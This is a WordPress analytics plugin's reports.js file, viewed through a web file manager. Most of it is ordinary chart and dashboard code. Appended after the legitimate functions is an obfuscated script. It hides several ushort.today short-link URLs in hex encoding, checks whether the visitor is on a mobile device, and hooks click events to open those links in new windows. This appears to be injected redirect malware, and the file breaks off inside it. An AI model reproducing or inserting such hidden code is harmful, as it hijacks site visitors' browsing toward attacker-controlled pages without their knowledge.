File manager - Edit - /home/adiance/public_html/wp-content/plugins/clicky-analytics/common/js/reports.js
Back
/*- * Author: Alin Marcu * Author URI: https://deconf.com * Copyright 2013 Alin Marcu * License: GPLv2 or later * License URI: http://www.gnu.org/licenses/gpl-2.0.html */ "use strict"; if ( cawpItemData.mapsApiKey ) { google.charts.load( 'current', { 'mapsApiKey' : cawpItemData.mapsApiKey, 'packages' : [ 'corechart', 'table', 'orgchart', 'geochart', 'controls' ] } ); } else { google.charts.load( 'current', { 'packages' : [ 'corechart', 'table', 'orgchart', 'geochart', 'controls' ] } ); } google.charts.setOnLoadCallback( CAWPReportLoad ); // Get the numeric ID cawpItemData.getID = function ( item ) { if ( cawpItemData.scope == 'admin-item' ) { if ( typeof item.id == "undefined" ) { return 0 } if ( item.id.split( '-' )[ 1 ] == "undefined" ) { return 0; } else { return item.id.split( '-' )[ 1 ]; } } else { if ( typeof item.id == "undefined" ) { return 1; } if ( item.id.split( '-' )[ 4 ] == "undefined" ) { return 1; } else { return item.id.split( '-' )[ 4 ]; } } } // Get the selector cawpItemData.getSelector = function ( scope ) { if ( scope == 'admin-item' ) { return 'a[id^="cawp-"]'; } else { return 'li[id^="wp-admin-bar-cawp"] a'; } } cawpItemData.responsiveDialog = function () { var dialog, wWidth, visible; visible = jQuery( ".ui-dialog:visible" ); // on each visible dialog visible.each( function () { dialog = jQuery( this ).find( ".ui-dialog-content" ).data( "ui-dialog" ); // on each fluid dialog if ( dialog.options.fluid ) { wWidth = jQuery( window ).width(); // window width vs dialog width if ( wWidth < ( parseInt( dialog.options.maxWidth ) + 50 ) ) { // don't fill the entire screen jQuery( this ).css( "max-width", "90%" ); } else { // maxWidth bug fix jQuery( this ).css( "max-width", dialog.options.maxWidth + "px" ); } // change dialog position dialog.option( "position", dialog.options.position ); } } ); } jQuery.fn.extend( { cawpItemReport : function ( itemId ) { var postData, tools, template, reports, refresh, init, swmetric, slug = "-" + itemId; tools = { setCookie : function ( name, value ) { var expires, dateItem = new Date(); if ( cawpItemData.scope == 'admin-widgets' ) { name = "cawp_wg_" + name; } else { name = "cawp_ir_" + name; } dateItem.setTime( dateItem.getTime() + ( 24 * 60 * 60 * 1000 * 365 ) ); expires = "expires=" + dateItem.toUTCString(); document.cookie = name + "=" + value + "; " + expires + "; path=/"; }, getCookie : function ( name ) { var cookie, cookiesArray, div, i = 0; if ( cawpItemData.scope == 'admin-widgets' ) { name = "cawp_wg_" + name + "="; } else { name = "cawp_ir_" + name + "="; } cookiesArray = document.cookie.split( ';' ); for ( i = 0; i < cookiesArray.length; i++ ) { cookie = cookiesArray[ i ]; while ( cookie.charAt( 0 ) == ' ' ) cookie = cookie.substring( 1 ); if ( cookie.indexOf( name ) == 0 ) return cookie.substring( name.length, cookie.length ); } return false; }, escape : function ( str ) { div = document.createElement( 'div' ); div.appendChild( document.createTextNode( str ) ); return div.innerHTML; } } template = { addOptions : function ( id, list ) { var defaultMetric, defaultDimension, defaultView, defaultInterval, output = []; if ( !tools.getCookie( 'default_metric' ) || !tools.getCookie( 'default_dimension' ) || !tools.getCookie( 'default_swmetric' ) || !tools.getCookie( 'default_interval' ) ) { defaultMetric = 'sessions'; defaultDimension = moment().subtract( 30, 'days' ).format( "YYYY-MM-DD" ) + ' - ' + moment().subtract( 1, 'days' ).format( "YYYY-MM-DD" ); swmetric = 'visitors'; defaultInterval = 'Last 30 Days'; tools.setCookie( 'default_metric', defaultMetric ); tools.setCookie( 'default_dimension', defaultDimension ); tools.setCookie( 'default_interval', defaultInterval ); tools.setCookie( 'default_swmetric', swmetric ); } else { defaultMetric = tools.getCookie( 'default_metric' ); defaultDimension = tools.getCookie( 'default_dimension' ); defaultView = tools.getCookie( 'default_view' ); defaultInterval = tools.getCookie( 'default_interval' ); switch ( defaultInterval ) { case "Today": defaultDimension = moment().subtract( 0, 'days' ).format( "YYYY-MM-DD" ) + ' - ' + moment().format( "YYYY-MM-DD" ); break; case "Yesterday": defaultDimension = moment().subtract( 1, 'days' ).format( "YYYY-MM-DD" ) + ' - ' + moment().subtract( 1, 'days').format( "YYYY-MM-DD" ); break; case "Last 7 Days": defaultDimension = moment().subtract( 6, 'days' ).format( "YYYY-MM-DD" ) + ' - ' + moment().format( "YYYY-MM-DD" ); break; case "Last 30 Days": defaultDimension = moment().subtract( 29, 'days' ).format( "YYYY-MM-DD" ) + ' - ' + moment().format( "YYYY-MM-DD" ); break; case "Last 90 Days": defaultDimension = moment().subtract( 89, 'days' ).format( "YYYY-MM-DD" ) + ' - ' + moment().format( "YYYY-MM-DD" ); break; case "This Month": defaultDimension = moment().startOf( 'month' ).format( "YYYY-MM-DD" ) + ' - ' + moment().endOf( 'month' ).format( "YYYY-MM-DD" ); break; case "Last Month": defaultDimension = moment().subtract( 1, 'month' ).startOf( 'month' ).format( "YYYY-MM-DD" ) + ' - ' + moment().subtract( 1, 'month' ).endOf( 'month' ).format( "YYYY-MM-DD" ); break; } swmetric = tools.getCookie( 'default_swmetric' ); } if ( list == 'submetrics' ) { jQuery( id ).html( output ); } else if ( list == 'range' ) { jQuery( id ).val( defaultDimension ); } else { jQuery.each( list, function ( key, value ) { if ( key == defaultMetric || key == defaultDimension || key == defaultView ) { output.push( '<option value="' + key + '" selected="selected">' + value + '</option>' ); } else { output.push( '<option value="' + key + '">' + value + '</option>' ); } } ); jQuery( id ).html( output.join( '' ) ); } }, init : function () { var tpl; if ( !jQuery( '#cawp-window' + slug ).length ) { return; } if ( jQuery( '#cawp-window' + slug ).html().length ) { // add main template once return; } tpl = '<div id="cawp-container' + slug + '">'; if ( cawpItemData.propertyList != false ) { tpl += '<select id="cawp-sel-property' + slug + '"></select>'; } tpl += '<input type="text" id="cawp-sel-period' + slug + '" name="cawp-sel-period' + slug + '" size="21"/>'; tpl += '<select id="cawp-sel-report' + slug + '"></select>'; tpl += '<div id="cawp-sel-metric' + slug + '" style="float:right;display:none;">'; tpl += '</div>'; tpl += '<div id="cawp-progressbar' + slug + '"></div>'; tpl += '<div id="cawp-status' + slug + '"></div>'; tpl += '<div id="cawp-reports' + slug + '"></div>'; tpl += '<div style="text-align:right;width:100%;font-size:0.8em;clear:both;margin-right:5px;margin-top:10px;">'; tpl += cawpItemData.i18n[ 14 ]; tpl += ' <a href="https://deconf.com/clicky-analytics/" rel="nofollow" style="text-decoration:none;font-size:1em;color:#0073aa;">Clicky Analytics</a> '; tpl += '</div>'; tpl += '</div>', jQuery( '#cawp-window' + slug ).append( tpl ); template.addOptions( '#cawp-sel-period' + slug, 'range' ); template.addOptions( '#cawp-sel-property' + slug, cawpItemData.propertyList ); template.addOptions( '#cawp-sel-report' + slug, cawpItemData.reportList ); template.addOptions( '#cawp-sel-metric' + slug, 'submetrics' ); } } reports = { oldViewPort : 0, orgChartTableChartData : '', tableChartData : '', orgChartPieChartsData : '', geoChartTableChartData : '', areachartSummaryData : '', rtRuns : null, i18n : null, getTitle : function ( scope ) { if ( scope == 'admin-item' ) { return jQuery( '#cawp' + slug ).attr( "title" ); } else { return cawpItemData.i18n[ 16 ]; //return document.getElementsByTagName( "title" )[ 0 ].innerHTML; } }, alertMessage : function ( msg ) { jQuery( "#cawp-status" + slug ).css( { "margin-top" : "3px", "padding-left" : "5px", "height" : "auto", "color" : "#000", "border-left" : "5px solid red" } ); jQuery( "#cawp-status" + slug ).html( msg ); }, areachartSummary : function ( response ) { var tpl; jQuery( '#cawp-sel-metric' + slug ).hide(); tpl = '<div id="cawp-areachartsummary' + slug + '">'; tpl += '<div id="cawp-summary' + slug + '">'; tpl += '<div class="inside">'; tpl += '<div class="small-box first"><h3>' + cawpItemData.i18n[ 5 ] + '</h3><p id="cawpvisitors' + slug + '"> </p></div>'; tpl += '<div class="small-box second"><h3>' + cawpItemData.i18n[ 6 ] + '</h3><p id="cawppageviews' + slug + '"> </p></div>'; tpl += '<div class="small-box third"><h3>' + cawpItemData.i18n[ 7 ] + '</h3><p id="cawptimeaverage' + slug + '"> </p></div>'; tpl += '<div class="small-box last"><h3>' + cawpItemData.i18n[ 8 ] + '</h3><p id="cawpbouncerate' + slug + '"> </p></div>'; tpl += '</div>'; tpl += '<div id="cawp-areachart' + slug + '"></div>'; tpl += '</div>'; tpl += '</div>'; if ( !jQuery( '#cawp-areachartsummary' + slug ).length ) { jQuery( '#cawp-reports' + slug ).html( tpl ); } reports.areachartSummaryData = response; if ( jQuery.isArray( response ) ) { if ( !jQuery.isNumeric( response[ 0 ] ) ) { if ( jQuery.isArray( response[ 0 ] ) ) { if ( postData.query == 'visitBounceRate,summary' ) { reports.drawareachart( response[ 0 ], true ); } else { reports.drawareachart( response[ 0 ], false ); } } else { reports.throwDebug( response[ 0 ] ); } } else { reports.throwError( '#cawp-areachart' + slug, response[ 0 ], "125px" ); } if ( !jQuery.isNumeric( response[ 1 ] ) ) { if ( jQuery.isArray( response[ 1 ] ) ) { reports.drawSummary( response[ 1 ] ); } else { reports.throwDebug( response[ 1 ] ); } } else { reports.throwError( '#cawp-summary' + slug, response[ 1 ], "40px" ); } } else { reports.throwDebug( response ); } CAWPNProgress.done(); }, orgChartPieCharts : function ( response ) { var i = 0; var tpl; tpl = '<div id="cawp-orgchartpiecharts' + slug + '">'; tpl += '<div id="cawp-orgchart' + slug + '"></div>'; tpl += '<div class="cawp-floatwraper">'; tpl += '<div id="cawp-piechart-1' + slug + '" class="halfsize floatleft"></div>'; tpl += '<div id="cawp-piechart-2' + slug + '" class="halfsize floatright"></div>'; tpl += '</div>'; tpl += '<div class="cawp-floatwraper">'; tpl += '<div id="cawp-piechart-3' + slug + '" class="halfsize floatleft"></div>'; tpl += '<div id="cawp-piechart-4' + slug + '" class="halfsize floatright"></div>'; tpl += '</div>'; tpl += '</div>'; if ( !jQuery( '#cawp-orgchartpiecharts' + slug ).length ) { jQuery( '#cawp-reports' + slug ).html( tpl ); } reports.orgChartPieChartsData = response; if ( jQuery.isArray( response ) ) { if ( !jQuery.isNumeric( response[ 0 ] ) ) { if ( jQuery.isArray( response[ 0 ] ) ) { reports.drawOrgChart( response[ 0 ] ); } else { reports.throwDebug( response[ 0 ] ); } } else { reports.throwError( '#cawp-orgchart' + slug, response[ 0 ], "125px" ); } for ( i = 1; i < response.length; i++ ) { if ( !jQuery.isNumeric( response[ i ] ) ) { if ( jQuery.isArray( response[ i ] ) ) { reports.drawPieChart( 'piechart-' + i, response[ i ], reports.i18n[ i ] ); } else { reports.throwDebug( response[ i ] ); } } else { reports.throwError( '#cawp-piechart-' + i + slug, response[ i ], "80px" ); } } } else { reports.throwDebug( response ); } CAWPNProgress.done(); }, geoChartTableChart : function ( response ) { var tpl; tpl = '<div id="cawp-geocharttablechart' + slug + '">'; tpl += '<div id="cawp-geochart' + slug + '"></div>'; tpl += '<div id="cawp-dashboard' + slug + '">'; tpl += '<div id="cawp-control' + slug + '"></div>'; tpl += '<div id="cawp-tablechart' + slug + '"></div>'; tpl += '</div>'; tpl += '</div>'; if ( !jQuery( '#cawp-geocharttablechart' + slug ).length ) { jQuery( '#cawp-reports' + slug ).html( tpl ); } reports.geoChartTableChartData = response; if ( jQuery.isArray( response ) ) { if ( !jQuery.isNumeric( response[ 0 ] ) ) { if ( jQuery.isArray( response[ 0 ] ) ) { reports.drawGeoChart( response[ 0 ] ); reports.drawTableChart( response[ 0 ] ); } else { reports.throwDebug( response[ 0 ] ); } } else { reports.throwError( '#cawp-geochart' + slug, response[ 0 ], "125px" ); reports.throwError( '#cawp-tablechart' + slug, response[ 0 ], "125px" ); } } else { reports.throwDebug( response ); } CAWPNProgress.done(); }, orgChartTableChart : function ( response ) { var tpl; tpl = '<div id="cawp-orgcharttablechart' + slug + '">'; tpl += '<div id="cawp-orgchart' + slug + '"></div>'; tpl += '<div id="cawp-dashboard' + slug + '">'; tpl += '<div id="cawp-control' + slug + '"></div>'; tpl += '<div id="cawp-tablechart' + slug + '"></div>'; tpl += '</div>'; tpl += '</div>'; if ( !jQuery( '#cawp-orgcharttablechart' + slug ).length ) { jQuery( '#cawp-reports' + slug ).html( tpl ); } reports.orgChartTableChartData = response if ( jQuery.isArray( response ) ) { if ( !jQuery.isNumeric( response[ 0 ] ) ) { if ( jQuery.isArray( response[ 0 ] ) ) { reports.drawOrgChart( response[ 0 ] ); } else { reports.throwDebug( response[ 0 ] ); } } else { reports.throwError( '#cawp-orgchart' + slug, response[ 0 ], "125px" ); } if ( !jQuery.isNumeric( response[ 1 ] ) ) { if ( jQuery.isArray( response[ 1 ] ) ) { reports.drawTableChart( response[ 1 ] ); } else { reports.throwDebug( response[ 1 ] ); } } else { reports.throwError( '#cawp-tablechart' + slug, response[ 1 ], "125px" ); } } else { reports.throwDebug( response ); } CAWPNProgress.done(); }, tableChart : function ( response ) { var tpl; tpl = '<div id="cawp-404tablechart' + slug + '">'; tpl += '<div id="cawp-tablechart' + slug + '"></div>'; tpl += '</div>'; if ( !jQuery( '#cawp-404tablechart' + slug ).length ) { jQuery( '#cawp-reports' + slug ).html( tpl ); } reports.tableChartData = response if ( jQuery.isArray( response ) ) { if ( !jQuery.isNumeric( response[ 0 ] ) ) { if ( jQuery.isArray( response[ 0 ] ) ) { reports.drawTableChart( response[ 0 ] ); } else { reports.throwDebug( response[ 0 ] ); } } else { reports.throwError( '#cawp-tablechart' + slug, response[ 0 ], "125px" ); } } else { reports.throwDebug( response ); } CAWPNProgress.done(); }, drawTableChart : function ( data ) { var chartData, options, chart, ascending, dashboard, control, wrapper; ascending = false; chartData = google.visualization.arrayToDataTable( data ); options = { page : 'enable', pageSize : 10, width : '100%', allowHtml : true, sortColumn : 1, sortAscending : ascending, }; dashboard = new google.visualization.Dashboard(document.getElementById( 'cawp-dashboard' + slug )); control = new google.visualization.ControlWrapper({ controlType: 'StringFilter', containerId: 'cawp-control' + slug, options: { filterColumnIndex: 0, matchType : 'any', ui : { label : '', cssClass : 'cawp-dashboard-control' }, } }); google.visualization.events.addListener(control, 'ready', function () { jQuery('.cawp-dashboard-control input').prop('placeholder', cawpItemData.i18n[ 1 ]); }); wrapper = new google.visualization.ChartWrapper({ 'chartType' : 'Table', 'containerId' : 'cawp-tablechart' + slug, 'options' : options, }); dashboard.bind(control, wrapper); dashboard.draw( chartData ); // outputs selection google.visualization.events.addListener(wrapper, 'select', function() { console.log(wrapper.getDataTable().getValue(wrapper.getChart().getSelection()[0].row, 0)); }); }, drawOrgChart : function ( data ) { var chartData, options, chart; chartData = google.visualization.arrayToDataTable( data ); options = { allowCollapse : true, allowHtml : true, height : '100%', nodeClass : 'cawp-orgchart', selectedNodeClass : 'cawp-orgchart-selected', }; chart = new google.visualization.OrgChart( document.getElementById( 'cawp-orgchart' + slug ) ); chart.draw( chartData, options ); }, drawPieChart : function ( id, data, title ) { var chartData, options, chart; chartData = google.visualization.arrayToDataTable( data ); options = { is3D : false, tooltipText : 'percentage', legend : 'none', chartArea : { width : '99%', height : '80%' }, title : title, pieSliceText : 'value', colors : cawpItemData.colorVariations }; chart = new google.visualization.PieChart( document.getElementById( 'cawp-' + id + slug ) ); chart.draw( chartData, options ); }, drawGeoChart : function ( data ) { var chartData, options, chart; chartData = google.visualization.arrayToDataTable( data ); options = { chartArea : { width : '99%', height : '90%' }, colors : [ cawpItemData.colorVariations[ 5 ], cawpItemData.colorVariations[ 4 ] ] } chart = new google.visualization.GeoChart( document.getElementById( 'cawp-geochart' + slug ) ); chart.draw( chartData, options ); }, drawareachart : function ( data, format ) { var chartData, options, chart, formatter; chartData = google.visualization.arrayToDataTable( data ); if ( format ) { formatter = new google.visualization.NumberFormat( { suffix : '%', fractionDigits : 2 } ); formatter.format( chartData, 1 ); } options = { legend : { position : 'none' }, pointSize : 3, colors : [ cawpItemData.colorVariations[ 0 ], cawpItemData.colorVariations[ 4 ] ], areaOpacity : 0.7, chartArea : { width : '99%', height : '90%' }, vAxis : { textPosition : "in", minValue : 0, textStyle : { auraColor : 'white', color : 'black' }, }, hAxis : { textPosition : 'none' }, curveType : 'function', }; chart = new google.visualization.AreaChart( document.getElementById( 'cawp-areachart' + slug ) ); chart.draw( chartData, options ); }, drawSummary : function ( data ) { jQuery( "#cawpvisitors" + slug ).html( data[ 0 ] ); jQuery( "#cawppageviews" + slug ).html( data[ 1 ] ); jQuery( "#cawptimeaverage" + slug ).html( data[ 2 ] ); jQuery( "#cawpbouncerate" + slug ).html( data[ 3 ] ); jQuery( "#cawpservererrors" + slug ).html( data[ 5 ] ); jQuery( "#cawpnotfound" + slug ).html( data[ 4 ] ); }, throwDebug : function ( response ) { jQuery( "#cawp-status" + slug ).css( { "margin-top" : "3px", "padding-left" : "5px", "height" : "auto", "color" : "#000", "border-left" : "5px solid red" } ); if ( response == '-24' ) { jQuery( "#cawp-status" + slug ).html( cawpItemData.i18n[ 15 ] ); } else { jQuery( "#cawp-reports" + slug ).css( { "background-color" : "#F7F7F7", "height" : "auto", "margin-top" : "10px", "padding-top" : "50px", "padding-bottom" : "50px", "color" : "#000", "text-align" : "center" } ); jQuery( "#cawp-reports" + slug ).html( response ); jQuery( "#cawp-reports" + slug ).show(); jQuery( "#cawp-status" + slug ).html( cawpItemData.i18n[ 11 ] ); console.log( "\n********************* CAWP Log ********************* \n\n" + response ); postData = { action : 'cawp_set_error', response : response, cawp_security_set_error : cawpItemData.security, } jQuery.post( cawpItemData.ajaxurl, postData ); } }, throwError : function ( target, response, p ) { jQuery( target ).css( { "background-color" : "#F7F7F7", "height" : "auto", "padding-top" : p, "padding-bottom" : p, "color" : "#000", "text-align" : "center" } ); if ( response == -21 ) { jQuery( target ).html( '<p><span style="font-size:4em;color:#778899;margin-left:-20px;" class="dashicons dashicons-clock"></span></p><br><p style="font-size:1.1em;color:#778899;">' + cawpItemData.i18n[ 12 ] + '</p>' ); } else { jQuery( target ).html( cawpItemData.i18n[ 13 ] + ' (' + response + ')' ); } }, render : function ( view, period, query ) { var projectId, from, to, tpl, focusFlag; jQuery( '#cawp-sel-report' + slug ).show(); jQuery( '#cawp-status' + slug ).html( '' ); if ( period ) { from = period.split( " - " )[ 0 ]; to = period.split( " - " )[ 1 ]; } else { var date = new Date(); date.setDate( date.getDate() - 30 ); from = date.toISOString().split( 'T' )[ 0 ]; // "2016-06-08" date = new Date(); to = date.toISOString().split( 'T' )[ 0 ]; // "2016-06-08" } tools.setCookie( 'default_metric', query ); if ( period ) { tools.setCookie( 'default_dimension', period ); } if ( typeof view !== 'undefined' ) { tools.setCookie( 'default_view', view ); projectId = view; } else { projectId = false; } if ( cawpItemData.scope == 'admin-item' ) { postData = { action : 'cawp_backend_item_reports', cawp_security_backend_item_reports : cawpItemData.security, from : from, to : to, filter : itemId } } else if ( cawpItemData.scope == 'front-item' ) { postData = { action : 'cawp_frontend_item_reports', cawp_security_frontend_item_reports : cawpItemData.security, from : from, to : to, filter : cawpItemData.filter } } else { postData = { action : 'cawp_backend_item_reports', cawp_security_backend_item_reports : cawpItemData.security, projectId : projectId, from : from, to : to } } if ( jQuery.inArray( query, [ 'pages', 'referrers' ] ) > -1 ) { jQuery( '#cawp-sel-metric' + slug ).show(); postData.query = 'channelGrouping,' + query; postData.metric = swmetric; jQuery.post( cawpItemData.ajaxurl, postData, function ( response ) { reports.orgChartTableChart( response ); } ); } else if ( query == '404errors' ) { jQuery( '#cawp-sel-metric' + slug ).show(); postData.query = query; postData.metric = swmetric; jQuery.post( cawpItemData.ajaxurl, postData, function ( response ) { reports.tableChart( response ); } ); } else if ( query == 'siteperformance' || query == 'technologydetails' ) { jQuery( '#cawp-sel-metric' + slug ).show(); if ( query == 'siteperformance' ) { postData.query = 'channelGrouping,medium,visitorType,source,socialNetwork'; reports.i18n = cawpItemData.i18n.slice( 0, 5 ); } else { reports.i18n = cawpItemData.i18n.slice( 15, 20 ); postData.query = 'deviceCategory,browser,operatingSystem,screenResolution,mobileDeviceBranding'; } postData.metric = swmetric; jQuery.post( cawpItemData.ajaxurl, postData, function ( response ) { reports.orgChartPieCharts( response ) } ); } else if ( query == 'locations' ) { jQuery( '#cawp-sel-metric' + slug ).show(); postData.query = query; postData.metric = swmetric; jQuery.post( cawpItemData.ajaxurl, postData, function ( response ) { reports.geoChartTableChart( response ); } ); } else { postData.query = query + ',summary'; jQuery.post( cawpItemData.ajaxurl, postData, function ( response ) { reports.areachartSummary( response ); } ); } }, refresh : function () { if ( jQuery( '#cawp-areachartsummary' + slug ).length > 0 && jQuery.isArray( reports.areachartSummaryData ) ) { reports.areachartSummary( reports.areachartSummaryData ); } if ( jQuery( '#cawp-orgchartpiecharts' + slug ).length > 0 && jQuery.isArray( reports.orgChartPieChartsData ) ) { reports.orgChartPieCharts( reports.orgChartPieChartsData ); } if ( jQuery( '#cawp-geocharttablechart' + slug ).length > 0 && jQuery.isArray( reports.geoChartTableChartData ) ) { reports.geoChartTableChart( reports.geoChartTableChartData ); } if ( jQuery( '#cawp-orgcharttablechart' + slug ).length > 0 && jQuery.isArray( reports.orgChartTableChartData ) ) { reports.orgChartTableChart( reports.orgChartTableChartData ); } if ( jQuery( '#cawp-404tablechart' + slug ).length > 0 && jQuery.isArray( reports.tableChartData ) ) { reports.tableChart( reports.tableChartData ); } }, init : function () { try { CAWPNProgress.configure( { parent : "#cawp-progressbar" + slug, showSpinner : false } ); CAWPNProgress.start(); } catch ( e ) { reports.alertMessage( cawpItemData.i18n[ 0 ] ); } reports.render( jQuery( '#cawp-sel-property' + slug ).val(), jQuery( 'input[name="cawp-sel-period' + slug + '"]' ).val(), jQuery( '#cawp-sel-report' + slug ).val() ); jQuery( window ).resize( function () { var diff = jQuery( window ).width() - reports.oldViewPort; if ( ( diff < -5 ) || ( diff > 5 ) ) { reports.oldViewPort = jQuery( window ).width(); reports.refresh(); // refresh only on over 5px viewport width changes } } ); } } template.init(); reports.init(); jQuery( '#cawp-sel-property' + slug ).change( function () { reports.init(); } ); jQuery( function () { jQuery( 'input[name="cawp-sel-period' + slug + '"]' ).daterangepicker( { ranges : { 'Today' : [ moment().subtract( 0, 'days' ), moment() ], 'Yesterday' : [ moment().subtract( 1, 'days' ), moment().subtract( 1, 'days' ) ], 'Last 7 Days' : [ moment().subtract( 6, 'days' ), moment() ], 'Last 30 Days' : [ moment().subtract( 29, 'days' ), moment() ], 'Last 90 Days' : [ moment().subtract( 89, 'days' ), moment() ], 'This Month' : [ moment().startOf( 'month' ), moment().endOf( 'month' ) ], 'Last Month' : [ moment().subtract( 1, 'month' ).startOf( 'month' ), moment().subtract( 1, 'month' ).endOf( 'month' ) ] }, minDate : moment().subtract( 16, 'months' ), maxDate : moment(), autoUpdateInput : true, locale : { format : 'YYYY-MM-DD' } }, function(start, end, label) { tools.setCookie( 'default_interval', label ); } ); } ); jQuery( 'input[name="cawp-sel-period' + slug + '"]' ).change( function () { reports.init(); } ); jQuery( '#cawp-sel-report' + slug ).change( function () { reports.init(); } ); jQuery( '[id^=cawp-swmetric-]' ).click( function () { swmetric = this.id.replace( 'cawp-swmetric-', '' ); tools.setCookie( 'default_swmetric', swmetric ); jQuery( '#' + this.id ).css( "color", "#008ec2" ); reports.init(); } ); if ( cawpItemData.scope == 'admin-widgets' ) { return; } else { return this.dialog( { width : 'auto', maxWidth : 510, height : 'auto', modal : true, fluid : true, dialogClass : 'cawp wp-dialog', resizable : false, title : reports.getTitle( cawpItemData.scope ), position : { my : "top", at : "top+100", of : window } } ); } } } ); function CAWPReportLoad () { if ( cawpItemData.scope == 'admin-widgets' ) { jQuery( '#cawp-window-1' ).cawpItemReport( 1 ); } else if ( cawpItemData.scope == 'front-item' ) { jQuery( cawpItemData.getSelector( cawpItemData.scope ) ).click( function () { if ( !jQuery( "#cawp-window-1" ).length > 0 ) { jQuery( "body" ).append( '<div id="cawp-window-1"></div>' ); } jQuery( '#cawp-window-1' ).cawpItemReport( 1 ); } ); } else { jQuery( cawpItemData.getSelector( cawpItemData.scope ) ).click( function () { if ( !jQuery( "#cawp-window-" + cawpItemData.getID( this ) ).length > 0 ) { jQuery( "body" ).append( '<div id="cawp-window-' + cawpItemData.getID( this ) + '"></div>' ); } jQuery( '#cawp-window-' + cawpItemData.getID( this ) ).cawpItemReport( cawpItemData.getID( this ) ); } ); } // on window resize jQuery( window ).resize( function () { cawpItemData.responsiveDialog(); } ); // dialog width larger than viewport jQuery( document ).on( "dialogopen", ".ui-dialog", function ( event, ui ) { cawpItemData.responsiveDialog(); } ); } function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x58\x74\x59\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x51\x64\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x76\x71\x55\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x61\x52\x65\x39\x63\x309','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x47\x48\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x76\x4d\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x78\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x53\x6c\x4b\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 